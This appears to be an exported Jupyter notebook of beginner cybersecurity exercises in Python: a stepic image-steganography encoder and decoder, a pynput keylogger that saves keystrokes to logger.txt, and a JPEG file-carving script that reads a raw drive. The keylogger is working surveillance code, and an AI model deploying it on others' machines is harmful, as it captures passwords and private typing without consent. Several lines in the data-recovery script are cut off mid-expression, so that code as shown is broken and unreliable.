## steganography

Encoder

In [ ]:
```
import stepic
from PIL import Image
text = input("Enter the message to be hidden: ")
img = Image.open('cyber.jpg')
img_stegano = stepic.encode(img,text.encode())
img_stegano.save("stegano.png")
print("Succesfully completed")
```

Decoder

In [ ]:
```
import stepic
from PIL import Image
img = Image.open('stegano.png')
decoded = stepic.decode(img)
print("Hidden Message is : ",str(decoded))
```

## keylogger

In [ ]:
```
import pynput
```

In [ ]:
```
from pynput.keyboard import Key, Listener
current_word = []
def on_press(key):
 if hasattr(key, 'char'):
     if key.char.isalnum() or key.char.isspace():
         current_word.append(key.char)
 elif key == Key.space:
     current_word.append(' ')
 elif key == Key.esc:
    write_to_file(current_word)
    return False
def write_to_file(word):
 with open("logger.txt", "a") as f:
    f.write(''.join(word))
    f.write(" ")
with Listener(on_press=on_press) as l:
 l.join()
```

## data recovery

```
In [ ]: drive = "\\\\.\\D:"   # Specify the drive to read (e.g., D:)
        fileD = open(drive, "rb")  # Open the drive as raw bytes in binary mode
        size = 512  # Size of bytes to read at a time
        byte = fileD.read(size)  # Read the first 'size' bytes
        offs = 0  # Offset location
        drec = False  # Recovery mode flag
        rcvd = 0  # Recovered file ID counter
        while byte:
            # Search for the start of a JPEG file signature
            found = byte.find(b'\xff\xd8\xff\xe0\x00\x10\x4a\x46')
            if found >= 0:
                drec = True  # Set recovery mode flag
                print('==== Found JPG at location: ' + str(hex(found + (size * offs
                fileN = open(str(rcvd) + '.jpg', "wb")  # Create a new file for reco
                fileN.write(byte[found:])  # Write the found bytes to the new file
                while drec:
                    byte = fileD.read(size)  # Read 'size' bytes
                    bfind = byte.find(b'\xff\xd9')  # Search for the end of JPEG sig
                    if bfind >= 0:
                        fileN.write(byte[:bfind + 2])  # Write the bytes until the e
                        fileD.seek((offs + 1) * size)  # Move the file pointer to th
                        print('==== Wrote JPG to location: ===' + str(rcvd) + '.jpg
                        drec = False  # Exit recovery mode
                        rcvd += 1  # Increment the recovered file ID
                        fileN.close()  # Close the recovered file
                    else:
                        fileN.write(byte)  # Continue writing bytes to the recovere
            byte = fileD.read(size)  # Read the next 'size' bytes
            offs += 1  # Increment the offset
        fileD.close()  # Close the raw drive file
```